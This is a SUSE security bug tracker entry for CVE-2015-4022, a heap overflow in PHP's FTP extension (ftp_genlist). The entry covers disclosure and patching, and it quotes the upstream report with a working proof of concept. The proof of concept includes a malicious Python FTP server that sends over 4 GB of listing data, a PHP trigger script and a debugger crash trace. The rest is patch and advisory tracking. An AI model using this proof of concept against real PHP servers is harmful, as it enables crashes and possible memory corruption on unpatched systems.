Bug 931772 - (CVE-2015-4022) VUL-0: CVE-2015-4022: php5, php53: overflow in ftp_genlist() resulting in heap overflow
(CVE-2015-4022)
VUL-0: CVE-2015-4022: php5, php53: overflow in ftp_genlist() resulting in h...
Status: RESOLVED FIXED
Classification: Novell Products
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents
unspecified
Other Other
: P3 - Medium : Normal
: ---
Assigned To: Security Team bot
Security Team bot
https://smash.suse.de/issue/116949/
maint:running:61384:moderate maint:re...
:
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2015-05-21 07:04 UTC by Alexander Bergmann
Modified: 2016-08-10 08:24 UTC (History)
1 user (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Alexander Bergmann 2015-05-21 07:04:24 UTC
https://bugs.php.net/bug.php?id=69545
------------------------------------------------
Description:
------------
The ftp_genlist() function of the ftp extension is prone to an integer overflow, which may result in remote code execution.

ext/ftp/ftp.c:ftp_genlist(...)
1826         size = 0;
1827         lines = 0;
1828         lastch = 0;
1829         while ((rcvd = my_recv(ftp, data->fd, data->buf, FTP_BUFSIZE))) {
1830                 if (rcvd == -1) {
1831                         goto bail;
1832                 }
1833
1834                 php_stream_write(tmpstream, data->buf, rcvd);
1835
1836                 size += rcvd;
1837                 for (ptr = data->buf; rcvd; rcvd--, ptr++) {
1838                         if (*ptr == '\n' && lastch == '\r') {
1839                                 lines++; // [0]
1840                         } else {
1841                                 size++; // [1]
1842                         }
1843                         lastch = *ptr;
1844                 }
1845         }

In the above loop `size' or `lines' may overflow (at [0] respectively [1]).
This requires sending more than 2^32 bytes, which will be stored in a tempfile.

1851         ret = safe_emalloc((lines + 1), sizeof(char*), size); // [2]
1852
1853         entry = ret;
1854         text = (char*) (ret + lines + 1);
1855         *entry = text;
1856         lastch = 0;
1857         while ((ch = php_stream_getc(tmpstream)) != EOF) {
1858                 if (ch == '\n' && lastch == '\r') {
1859                         *(text - 1) = 0;
1860                         *++entry = text;
1861                 } else {
1862                         *text++ = ch; // [3]
1863                 }
1864                 lastch = ch;
1865         }
1866         *entry = NULL;

This results in the allocated buffer at [2] being to small to hold the data written to
the tempfile, which results in a heap overflow at [3] when loading the contents of the
tempfile back into memory.

These kind of bugs are well-known to be exploitable and since php_stream_getc uses structs
located on the heap, which may be overwritten, I think that this bug can be leveraged to attain
remote code execution.

Regards,
Max Spelsberg


malicious_server.py
===================
#!/usr/bin/env python2
# coding: utf-8

# based on https://gist.github.com/scturtle/1035886

import os,socket,threading,time

allow_delete = False
local_ip = "localhost"
local_port = 8887
currdir=os.path.abspath('.')

class FTPserverThread(threading.Thread):
    def __init__(self,(conn,addr)):
        self.conn=conn
        self.addr=addr
        self.basewd=currdir
        self.cwd=self.basewd
        self.rest=False
        self.pasv_mode=False
        threading.Thread.__init__(self)

    def run(self):
        self.conn.send('220 Welcome!\r\n')
        while True:
            cmd=self.conn.recv(256)
            if not cmd: break
            else:
                print 'Recieved:',cmd
                try:
                    func=getattr(self,cmd[:4].strip().upper())
                    func(cmd)
                except Exception,e:
                    print 'ERROR:',e
                    #traceback.print_exc()
                    self.conn.send('500 Sorry.\r\n')
            self.conn.close()

    def TYPE(self,cmd):
        self.mode=cmd[5]
        self.conn.send('200 Binary mode.\r\n')

    def PASV(self,cmd): # from http://goo.gl/3if2U
        self.pasv_mode = True
        self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.servsock.bind((local_ip,0))
        self.servsock.listen(1)
        ip, port = self.servsock.getsockname()
        print 'open', ip, port
        self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
                (','.join(ip.split('.')), port>>8&0xFF, port&0xFF))

    def start_datasock(self):
        if self.pasv_mode:
            self.datasock, addr = self.servsock.accept()
            print 'connect:', addr
        else:
            self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            self.datasock.connect((self.dataAddr,self.dataPort))

    def stop_datasock(self):
        self.datasock.close()
        if self.pasv_mode:
            self.servsock.close()

    # THIS is the interesting part    
    def LIST(self,cmd):
        self.conn.send('150 Here comes the directory listing.\r\n')
        print 'list:', self.cwd
        self.start_datasock()

        # send 2^32 + 1 bytes of data
        for i in xrange(262144):
            if i % 10000 == 0:
                print "%d" % i
            self.datasock.send("B"*16384)
        self.datasock.send("A\r\n")

        self.stop_datasock()
        self.conn.send('226 Directory send OK.\r\n')


class FTPserver(threading.Thread):
    def __init__(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.bind((local_ip,local_port))
        threading.Thread.__init__(self)

    def run(self):
        self.sock.listen(5)
        while True:
            th=FTPserverThread(self.sock.accept())
            th.daemon=True
            th.start()

    def stop(self):
        self.sock.close()

if __name__=='__main__':
    ftp=FTPserver()
    ftp.daemon=True
    ftp.start()
    print 'On', local_ip, ':', local_port
    raw_input('Enter to end...\n')
    ftp.stop()

buggy.php
=========
<?php
    $id = ftp_connect("localhost", 8887);
    ftp_pasv($id, TRUE);
    var_dump(ftp_rawlist($id, "/"));
?>


Result
======
(lldb) r ./buggy.php
Process 54712 launched: '/usr/bin/php' (x86_64)
Process 54712 stopped
* thread #1: tid = 0x204e9, 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1024243de)
    frame #0: 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182
libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown:
->  0x7fff86503056 <+182>: movb   (%rsi,%r8), %cl
    0x7fff8650305a <+186>: movb   %cl, (%rdi,%r8)
    0x7fff8650305e <+190>: subq   $0x1, %rdx
    0x7fff86503062 <+194>: je     0x7fff86503078            ; <+216>
(lldb) register read rsi
     rsi = 0x00000001024243de
(lldb) bt
* thread #1: tid = 0x204e9, 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1024243de)
  * frame #0: 0x00007fff86503056 libsystem_platform.dylib`_platform_memmove$VARIANT$Unknown + 182
    frame #1: 0x000000010031b2c7 php`_php_stream_read + 81
    frame #2: 0x000000010031b8a1 php`_php_stream_getc + 22
    frame #3: 0x000000010010ec3a php`___lldb_unnamed_function2574$$php + 614
    frame #4: 0x000000010010c21c php`___lldb_unnamed_function2530$$php + 118
    frame #5: 0x00000001003cb2af php`___lldb_unnamed_function9391$$php + 1752
    frame #6: 0x00000001003813b0 php`execute_ex + 79
    frame #7: 0x000000010035d592 php`zend_execute_scripts + 482
    frame #8: 0x0000000100308897 php`php_execute_script + 684
    frame #9: 0x00000001003edce0 php`___lldb_unnamed_function9505$$php + 4653
    frame #10: 0x00000001003ec93c php`___lldb_unnamed_function9503$$php + 1408
    frame #11: 0x00007fff8cb8d5c9 libdyld.dylib`start + 1
(lldb)
[Note that the first three bytes (42, 43, de) of rsi have been overwritten!]
------------------------------------------------

References:
https://bugs.php.net/bug.php?id=69545
https://bugzilla.redhat.com/show_bug.cgi?id=1223412
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-4022
Comment 1 Swamp Workflow Management 2015-05-21 22:00:24 UTC
bugbot adjusting priority
Comment 2 Petr Gajdos 2015-05-22 07:21:17 UTC
Didn't try to reproduce, but the code is there for 11..13.2.

Commit link:
http://git.php.net/?p=php-src.git;a=commit;h=ac2832935435556dc593784cd0087b5e576bbe4d
Comment 3 Petr Gajdos 2015-05-22 10:34:27 UTC
openSUSE: mr#308354
12:       mr#58172
11sp3:    sr#58174
11:       sr#58176
10sp3:    sr#58178
Comment 5 Swamp Workflow Management 2015-06-03 15:05:58 UTC
openSUSE-SU-2015:0993-1: An update that fixes four vulnerabilities is now available.

Category: security (moderate)
Bug References: 931421,931769,931772,931776
CVE References: CVE-2015-4021,CVE-2015-4022,CVE-2015-4024,CVE-2015-4026
Sources used:
openSUSE 13.2 (src):    php5-5.6.1-24.2
openSUSE 13.1 (src):    php5-5.4.20-55.2
Comment 8 Swamp Workflow Management 2015-06-09 12:07:04 UTC
SUSE-SU-2015:1018-1: An update that solves 11 vulnerabilities and has one errata is now available.

Category: security (moderate)
Bug References: 922022,922451,922452,923946,924972,925109,928506,928511,931421,931769,931772,931776
CVE References: CVE-2014-9705,CVE-2014-9709,CVE-2015-2301,CVE-2015-2305,CVE-2015-2783,CVE-2015-2787,CVE-2015-3329,CVE-2015-4021,CVE-2015-4022,CVE-2015-4024,CVE-2015-4026
Sources used:
SUSE Linux Enterprise Software Development Kit 11 SP3 (src):    php53-5.3.17-0.41.1
SUSE Linux Enterprise Server 11 SP3 for VMware (src):    php53-5.3.17-0.41.1
SUSE Linux Enterprise Server 11 SP3 (src):    php53-5.3.17-0.41.1
Comment 10 Swamp Workflow Management 2015-07-17 08:12:51 UTC
SUSE-SU-2015:1253-1: An update that fixes 15 vulnerabilities is now available.

Category: security (important)
Bug References: 919080,927147,931421,931769,931772,931776,933227,935224,935226,935227,935232,935234,935274,935275
CVE References: CVE-2015-3411,CVE-2015-3412,CVE-2015-4021,CVE-2015-4022,CVE-2015-4024,CVE-2015-4026,CVE-2015-4148,CVE-2015-4598,CVE-2015-4599,CVE-2015-4600,CVE-2015-4601,CVE-2015-4602,CVE-2015-4603,CVE-2015-4643,CVE-2015-4644
Sources used:
SUSE Linux Enterprise Software Development Kit 12 (src):    php5-5.5.14-30.1
SUSE Linux Enterprise Module for Web Scripting 12 (src):    php5-5.5.14-30.1
Comment 11 Swamp Workflow Management 2015-07-17 09:08:42 UTC
SUSE-SU-2015:1253-2: An update that fixes 15 vulnerabilities is now available.

Category: security (important)
Bug References: 919080,927147,931421,931769,931772,931776,933227,935224,935226,935227,935232,935234,935274,935275
CVE References: CVE-2015-3411,CVE-2015-3412,CVE-2015-4021,CVE-2015-4022,CVE-2015-4024,CVE-2015-4026,CVE-2015-4148,CVE-2015-4598,CVE-2015-4599,CVE-2015-4600,CVE-2015-4601,CVE-2015-4602,CVE-2015-4603,CVE-2015-4643,CVE-2015-4644
Sources used:
SUSE Linux Enterprise Module for Web Scripting 12 (src):    php5-5.5.14-30.1
Comment 12 Marcus Meissner 2015-09-10 15:20:05 UTC
released
Comment 13 Swamp Workflow Management 2016-06-21 11:14:23 UTC
SUSE-SU-2016:1638-1: An update that fixes 85 vulnerabilities is now available.

Category: security (important)
Bug References: 884986,884987,884989,884990,884991,884992,885961,886059,886060,893849,893853,902357,902360,902368,910659,914690,917150,918768,919080,921950,922451,922452,923945,924972,925109,928506,928511,931421,931769,931772,931776,933227,935074,935224,935226,935227,935229,935232,935234,935274,935275,938719,938721,942291,942296,945412,945428,949961,968284,969821,971611,971612,971912,973351,973792,976996,976997,977003,977005,977991,977994,978827,978828,978829,978830,980366,980373,980375,981050,982010,982011,982012,982013,982162
CVE References: CVE-2004-1019,CVE-2006-7243,CVE-2014-0207,CVE-2014-3478,CVE-2014-3479,CVE-2014-3480,CVE-2014-3487,CVE-2014-3515,CVE-2014-3597,CVE-2014-3668,CVE-2014-3669,CVE-2014-3670,CVE-2014-4049,CVE-2014-4670,CVE-2014-4698,CVE-2014-4721,CVE-2014-5459,CVE-2014-8142,CVE-2014-9652,CVE-2014-9705,CVE-2014-9709,CVE-2014-9767,CVE-2015-0231,CVE-2015-0232,CVE-2015-0273,CVE-2015-1352,CVE-2015-2301,CVE-2015-2305,CVE-2015-2783,CVE-2015-2787,CVE-2015-3152,CVE-2015-3329,CVE-2015-3411,CVE-2015-3412,CVE-2015-4021,CVE-2015-4022,CVE-2015-4024,CVE-2015-4026,CVE-2015-4116,CVE-2015-4148,CVE-2015-4598,CVE-2015-4599,CVE-2015-4600,CVE-2015-4601,CVE-2015-4602,CVE-2015-4603,CVE-2015-4643,CVE-2015-4644,CVE-2015-5161,CVE-2015-5589,CVE-2015-5590,CVE-2015-6831,CVE-2015-6833,CVE-2015-6836,CVE-2015-6837,CVE-2015-6838,CVE-2015-7803,CVE-2015-8835,CVE-2015-8838,CVE-2015-8866,CVE-2015-8867,CVE-2015-8873,CVE-2015-8874,CVE-2015-8879,CVE-2016-2554,CVE-2016-3141,CVE-2016-3142,CVE-2016-3185,CVE-2016-4070,CVE-2016-4073,CVE-2016-4342,CVE-2016-4346,CVE-2016-4537,CVE-2016-4538,CVE-2016-4539,CVE-2016-4540,CVE-2016-4541,CVE-2016-4542,CVE-2016-4543,CVE-2016-4544,CVE-2016-5093,CVE-2016-5094,CVE-2016-5095,CVE-2016-5096,CVE-2016-5114
Sources used:
SUSE Linux Enterprise Server 11-SP2-LTSS (src):    php53-5.3.17-47.1